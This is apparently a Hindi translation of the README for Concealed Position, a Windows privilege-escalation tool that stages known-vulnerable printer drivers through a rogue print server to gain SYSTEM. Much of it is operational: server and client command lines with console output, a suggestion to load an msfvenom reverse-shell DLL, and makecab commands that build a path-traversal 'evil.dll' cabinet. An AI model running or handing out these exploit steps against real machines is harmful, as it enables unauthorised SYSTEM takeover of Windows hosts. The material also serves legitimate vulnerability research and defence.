
अपना स्वयं का प्रिंट ड्राइवर विशेषाधिकार वृद्धि उपकरण लाएं
Concealed Position विंडोज के खिलाफ एक स्थानीय विशेषाधिकार वृद्धि हमला है जो "Bring Your Own Vulnerability" की अवधारणा का उपयोग करता है। विशेष रूप से, Concealed Position (CP) विंडोज में as designed पैकेज पॉइंट और प्रिंट लॉजिक का उपयोग करता है जो एक निम्न विशेषाधिकार वाले उपयोगकर्ता को प्रिंटर ड्राइवरों को स्टेज और इंस्टॉल करने की अनुमति देता है। CP विशेष रूप से ज्ञात कमजोरियों वाले ड्राइवरों को स्थापित करता है, जिनका फिर SYSTEM तक विशेषाधिकार बढ़ाने के लिए शोषण किया जाता है। Concealed Position को पहली बार DEF CON 29 में प्रस्तुत किया गया था।
Concealed Position चार एक्सप्लॉइट प्रदान करता है - सभी समान रूप से बेवकूफी भरे नामों के साथ:
एक्सप्लॉइट शानदार हैं क्योंकि, SLASHINGDAMAGE को छोड़कर, वे समस्याओं के पैच होने के बाद भी काम करते रहेंगे। विंडोज के पास उपयोगकर्ताओं को पुराने ड्राइवरों का उपयोग करने से रोकने का एकमात्र तंत्र ड्राइवर के प्रमाणपत्र को रद्द करना है - ऐसा कुछ जो ऐतिहासिक रूप से नहीं किया गया(?)।
शायद ACIDDAMAGE। RADIANTDAMAGE और POISONDAMAGE रेस कंडीशन हैं (DLL को ओवरराइट करने के लिए) और SLASHINGDAMAGE क्षति, उम्मीद है, अधिकांश स्थानों पर पैच किया गया है।
Concealed Position के दो भाग हैं। एक दुष्ट प्रिंटर और एक क्लाइंट। क्लाइंट सर्वर से संपर्क करता है, एक ड्राइवर लेता है, ड्राइवर को ड्राइवर स्टोर में संग्रहीत करवाता है, प्रिंटर स्थापित करता है, और स्थापना प्रक्रिया का शोषण करता है। आसान! MSAPI भाषा में, हमला कुछ इस तरह होता है:
Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver
Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage
Stage 3: Add a local printer (exploitation stage)
client: Add printer
यह ध्यान रखना महत्वपूर्ण है कि SLASHINGDAMAGE वास्तव में उस तरह काम नहीं करता है। SLASHINGDAMAGE DEFCON 28 (2020) में वर्णित दुष्ट प्रिंटर हमले का एक कार्यान्वयन है और लंबे समय से पैच किया जा चुका है। मुझे बस उस हमले में मजा आता है (इसने बाकी के विकास को प्रेरित किया) और मैंने सोचा कि मैं अपने दुष्ट सर्वर में एक्सप्लॉइट छोड़ दूंगा... जितना भ्रमित करने वाला हो सकता है।
बहस के योग्य, हाँ। ड्राइवर स्टोर "trusted collection of ... third-party driver packages" है जिसे संशोधित करने के लिए प्रशासक पहुंच की आवश्यकता होती है। GetPrinterDriver का उपयोग करके एक निम्न विशेषाधिकार वाला हमलावर मनमाने ड्राइवरों को स्टोर में स्टेज कर सकता है। यह, मेरे लिए, एक स्पष्ट सुरक्षा सीमा को पार करता है।
माइक्रोसॉफ्ट सहमत प्रतीत हुआ जब उन्होंने CVE-2021-34481 जारी किया।
हालांकि... यह तर्क दिया जा सकता है कि यह केवल सिस्टम की एक सुविधा है और बिल्कुल भी कमजोरी नहीं है। वास्तव में इससे ज्यादा फर्क नहीं पड़ता। एक हमलावर मानक विंडोज इंस्टॉल पर SYSTEM तक विशेषाधिकार प्राप्त कर सकता है।
कम से कम Windows 8.1 और उससे ऊपर।
सरल! इतना सरल कि इसका वर्णन करने के लिए कई पैराग्राफ होंगे!
पहले, cp_server के कमांड लाइन विकल्पों को देखें:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
CLI options:
-h, --help Display the help message
-e, --exploit arg The exploit to use
-c, --cabs arg (=.\cab_files) The location of the cabinet files
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
ऊपर आप देख सकते हैं कि सर्वर को दो विकल्पों की आवश्यकता है:
उदाहरण के लिए, मान लें कि हम एक दुष्ट प्रिंटर कॉन्फ़िगर करना चाहते हैं जो ACIDDAMAGE ड्राइवर प्रदान करेगा। बस यह करें:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] Creating temporary space...
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
और बस, आप अपने सिस्टम पर एक नया प्रिंटर देखेंगे:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer
Name ComputerName Type DriverName PortName Shared Publishe
d
---- ------------ ---- ---------- -------- ------ --------
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri... Microsoft.Of... False False
Microsoft XPS Document Writer Local Microsoft XPS Document... PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D... SHRFAX: False False
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
ध्यान दें कि एक मैन्युअल चरण है जो cp_server आपको करने के लिए कहता है। क्योंकि मैं एक बेकार हैकर हूं, मैं यह पता नहीं लगा सका कि "Advanced Sharing Settings" -> "Turn off password protected sharing" को प्रोग्रामेटिक रूप से कैसे सेट किया जाए। आपको यह स्वयं करना होगा!
SLASHINGDAMAGE का उपयोग करने की प्रक्रिया थोड़ी अलग है। आपको पहले CutePDF Writer स्थापित करना होगा (तीसरे पक्ष की निर्देशिका में इंस्टॉलर ढूंढें)। फिर cp_server चलाएं और फिर भी आपको कुछ मैन्युअल चरणों और रीबूट का पालन करना होगा।
क्लाइंट का उपयोग करना भी उतना ही आसान है। आइए इसके कमांड लाइन विकल्पों को देखें:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
CLI options:
-h, --help Display the help message
-r, --rhost arg The remote evil printer address
-n, --name arg The remote evil printer name
-e, --exploit arg The exploit to use
-l, --local No remote printer. Local attack only.
-d, --dll arg Path to user provided DLL to execute.
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
पहले, मैं --dll विकल्प के बारे में बात करना चाहूंगा। क्लाइंट में एक एम्बेडेड पेलोड है जो C:\result.txt फ़ाइल लिखेगा। हालांकि, उपयोगकर्ता इस विकल्प के माध्यम से अपनी स्वयं की DLL प्रदान कर सकते हैं। एक अच्छा उदाहरण जो आप उपयोग करना चाह सकते हैं, वह है msfvenom द्वारा उत्पन्न x64 रिवर्स शेल। लेकिन बाकी के लिए हम एम्बेडेड पेलोड मान लेंगे।
cp_client के दो मोड हैं: रिमोट और लोकल। रिमोट विकल्प अधिक दिलचस्प है क्योंकि यह कमजोर ड्राइवर को ड्राइवर स्टोर में जोड़ता है (इस प्रकार आपके स्वयं के प्रिंट ड्राइवर की कमजोरी लाने के कार्यान्वयन को निष्पादित करता है), इसलिए हम पहले उसी के साथ जाएंगे। मान लें कि मैं पहले कॉन्फ़िगर किए गए दुष्ट ACIDDAMAGE प्रिंटर से वापस कनेक्ट करना चाहता हूं। मुझे बस प्रदान करना होगा:
इस तरह!
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Checking if driver is already installed
[-] Driver is not available.
[+] Call back to evil printer @ \\10.0.0.9\ACIDDAMAGE
[+] Staging driver in driver store
[+] Installing the staged driver
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
बस इतना ही! केवल स्थानीय हमला निष्पादित करने के लिए, आपको बस एक्सप्लॉइट प्रदान करना होगा:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Checking if driver is already installed
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
SLASHINGDAMAGE को शोषण के लिए एक विशेष क्लाइंट की आवश्यकता नहीं है। आप केवल UI या कमांड लाइन का उपयोग करके रिमोट प्रिंटर से कनेक्ट कर सकते हैं और बस! दुर्भाग्य से, यदि आप एक कस्टम पेलोड रोल करना चाहते हैं तो आपको cab_files निर्देशिका में CAB को अपडेट करना होगा। लेकिन यह आसान है। कुछ इस तरह:
echo "evil.dll" "../../evil.dll" > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab
यह जानना शायद महत्वपूर्ण है कि रिपॉजिटरी में SLASHINGDAMAGE का संस्करण ualapi.dll को SYSTEM32 में ड्रॉप करता है और जब रिबूट पर निष्पादित किया जाता है, तो यह C:\result.txt फ़ाइल ड्रॉप करता है।
क्या आप पुल रिक्वेस्ट सबमिट करना चाहते हैं या बग दर्ज करना चाहते हैं? बढ़िया! मैं इसकी सराहना करता हूं, लेकिन यदि आप बग को पुन: उत्पन्न करने के लिए पर्याप्त विवरण प्रदान नहीं करते हैं या यह नहीं बताते कि पुल रिक्वेस्ट क्यों स्वीकार की जानी चाहिए, तो 100% संभावना है कि मैं बिना टिप्पणी के आपका मुद्दा बंद कर दूंगा। मैं आपकी सराहना करता हूं, लेकिन मैं काफी व्यस्त भी हूं।
ध्यान देने वाली एक बात यह है कि inject_me dll वास्तव में cp_client में एक C सरणी के रूप में एम्बेडेड है। यदि आप inject_me को अपडेट करते हैं, तो आपको मैन्युअल रूप से C सरणी को भी अपडेट करना होगा (सरणी उत्पन्न करने के लिए बस xxd का उपयोग करें)।